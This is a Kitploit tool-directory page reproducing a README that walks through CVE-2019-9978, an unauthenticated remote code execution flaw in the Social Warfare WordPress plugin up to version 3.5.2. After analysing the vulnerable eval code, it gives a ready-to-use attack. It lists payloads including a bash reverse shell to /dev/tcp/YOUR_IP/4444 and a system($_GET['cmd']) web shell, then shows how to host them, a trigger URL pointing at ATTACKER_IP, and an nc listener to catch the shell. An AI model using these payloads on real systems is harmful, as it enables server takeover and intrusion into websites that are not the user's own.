Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-RCE — A complete walkthrough and exploit for CVE-2019-9978 - Unauthenticated Remote Code Execution in Social Warfare WordPress plugin ≤ 3.5.2. Includes vulnerable code analysis and payload examples. | Kitploit
Tools/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

A complete walkthrough and exploit for CVE-2019-9978 - Unauthenticated Remote Code Execution in Social Warfare WordPress plugin ≤ 3.5.2. Includes vulnerable code analysis and payload examples.

View Repository
122 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – Social Warfare WordPress Plugin RCE

⚠️ DISCLAIMER: This repository is for educational and authorized security testing only. Use only on systems you own or have explicit written permission to test. Unauthorized access is illegal.


📋 Overview

PropertyValue
CVE IDCVE-2019-9978
Affected SoftwareSocial Warfare Plugin ≤ 3.5.2 (WordPress)
Vulnerability TypeRemote Code Execution (RCE) / Remote File Inclusion (RFI)
Authentication Required❌ No – unauthenticated
CVSS Score9.8 (Critical)
Fixed InVersion 3.5.3
Exploited In The WildYes – March 2019

The Social Warfare plugin is a popular WordPress plugin that adds social sharing buttons to websites. Versions 3.5.0 through 3.5.2 contain a critical RCE vulnerability that allows attackers to execute arbitrary PHP code on the server without any authentication .


what's this plugin usage ?

Social Warfare is a popular WordPress plugin that adds social sharing buttons to websites, allowing visitors to easily share content on platforms like:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


Root Cause Analysis

The Vulnerable Code

root@kitploit:~
if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ CRITICAL MISUNDERSTANDING:
    // is_admin() only checks if the page is in /wp-admin/
    // It does NOT verify authentication or user privileges!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // Step 1: Fetch remote file from user-controlled URL
    // No validation, no sanitization, no whitelist!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // Step 2: Extract content between <pre> tags
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // Step 3: Build PHP code string
    $array = 'return ' . $options . ';';

    // Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
        // ... rest of the migration logic
    } catch ( ParseError $e ) {
        // ... error handling
    }
}

Why is_admin() Is NOT Security

The WordPress function is_admin() does not check if a user is logged in or has administrator privileges. It only checks if the requested page is within the /wp-admin/ directory :

root@kitploit:~
function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  Does NOT check authentication!
    //  Does NOT check user role!
}

The irony: When you access /wp-admin/admin-post.php, WordPress defines WP_ADMIN = true. This causes is_admin() to return true even for unauthenticated requests, which enables the vulnerable code block to execute .

here is the vulnerability !

root@kitploit:~
 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
    }

The plugin had a hidden "debug" feature that was supposed to help developers load configuration files from external URLs. However, this feature had a fatal flaw: it would download any file from a user-supplied URL and execute whatever code it found inside — without asking for permission or checking if the user was authorized.

The exploit is simple:

An attacker hosts a malicious file on their own server, tells the plugin to download it, and the plugin blindly runs the attacker's code on the victim's website. Since the plugin doesn't require you to be logged in to trigger this, anyone who knows the URL can take over the website.

Think of it like this: Imagine a security guard who opens any door when you say "debug mode" — without checking if you work there or have a badge. That's exactly what this vulnerability did

the exploit should write between 2 <pre></pre> tags.


💀 Exploitation Walkthrough

Step 1: Identify Vulnerable Target or install a WordPress and this plugin then follow the steps

Use WPScan to identify the Social Warfare plugin version :

root@kitploit:~
wpscan --url http://target.com --enumerate vp
  • Social Warfare plugin version ≤ 3.5.2

if you installed by yourself dont forget to Activate the plugin form admin panel.


Step 2: Create Payload File

Create payload.txt with your desired payload and then make a server to serve that payload.

example payloads :

Test Payload (Verify RCE):

root@kitploit:~
<pre>phpinfo();</pre>

out of bound test:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

Linux Reverse Shell:

root@kitploit:~
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

Interactive Command Executor:

root@kitploit:~
<pre>system($_GET['cmd']);</pre>

Step 3: Host the Payload

Start a Python HTTP server to host your payload:

root@kitploit:~
python3 -m http.server 8000

Your payload is now accessible at: http://YOUR_IP:8000/payload.txt

if you use localhost:

root@kitploit:~
http://127.0.0.1:8000/payload.txt

after making the request from the vulnerable code you should see a 200 status code :

sc3


Step 4: Trigger the Exploit

Option A – Manual Trigger:

Visit this URL in your browser or use curl:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

again if you use localhost:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

Step 5: Catch the Reverse Shell (For Reverse Shell Payloads)

root@kitploit:~
nc -lvnp 4444

If successful, you'll get a shell!


results:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

sce

root@kitploit:~
<pre>phpinfo();</pre>

sc4


Happy Hacking! 🚀

Download Tool